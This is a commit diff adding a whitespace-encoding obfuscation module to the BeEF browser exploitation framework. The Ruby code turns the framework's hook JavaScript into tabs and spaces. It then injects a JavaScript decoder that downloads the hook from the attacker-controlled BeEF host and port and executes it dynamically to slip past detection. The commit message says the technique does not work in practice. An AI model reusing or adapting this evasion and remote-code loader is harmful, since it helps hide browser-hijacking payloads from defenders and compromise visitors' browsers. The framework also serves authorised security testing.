add whitespace obfuscation technique - should work in theory - but does not in practice

extensions/evasion/obfuscation/whitespace.rb

@@ -0,0 +1,84 @@
+#
+#   Copyright 2012 Wade Alcorn wade@bindshell.net
+#
+#   Licensed under the Apache License, Version 2.0 (the "License");
+#   you may not use this file except in compliance with the License.
+#   You may obtain a copy of the License at
+#
+#       http://www.apache.org/licenses/LICENSE-2.0
+#
+#   Unless required by applicable law or agreed to in writing, software
+#   distributed under the License is distributed on an "AS IS" BASIS,
+#   WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+#   See the License for the specific language governing permissions and
+#   limitations under the License.
+#
+module BeEF
+  module Extension
+    module Evasion
+      class Whitespace
+        include Singleton
+
+        def need_bootstrap
+          false
+        end
+
+        def execute(input, config)
+          print_debug input.length
+          encoded = encode(input)
+	        var_name = BeEF::Extension::Evasion::Helper::random_string(3)
+
+          config = BeEF::Core::Configuration.instance
+          hook = config.get("beef.http.hook_file")
+          host = config.get("beef.http.host")
+          port = config.get("beef.http.port")
+          decode_function =
+"
+//Dirty IE6 whitespace bug hack
+#{var_name} = function (){
+  jQuery.get(\'http://#{host}:#{port}#{hook}\', function callback(data) {
+    var output = '';
+    var str = '//E'+'OH';
+    var chunks = data.split(str);
+    for (var i = 0; i < chunks.length; i++)
+    {
+      if(chunks[i].substring(0,4)  == '----')
+      {
+        input = chunks[i].split('\\n');
+        input = input[0].substring(5);
+        for(y = 0; y < input.length/8; y++)
+        {
+          v = 0;
+          for(x = 0; x < 8; x++)
+          {
+	          if(input.charCodeAt(x+(y*8)) > 9)
+	          {
+		          v++;
+	          }
+	          if(x != 7)
+	          {
+		          v = v << 1;
+	          }
+          }
+          output += String.fromCharCode(v);
+        }
+      }
+    }alert(output.length);[].constructor.constructor(output)();
+  }, 'text');
+}
+#{var_name}();//EOH-----"
+
+	        input = "#{decode_function}#{encoded}"
+          print_debug "[OBFUSCATION - WHITESPACE] Javascript has been Whitespace Encoded"
+          input
+        end
+
+        def encode(input)                 
+          output = input.unpack('B*') 
+          output = output.to_s.gsub(/[\["01\]]/, '[' => '', '"' => '', ']' => '',  '0' => "\t", '1' => ' ')
+          output
+        end
+      end
+    end
+  end
+end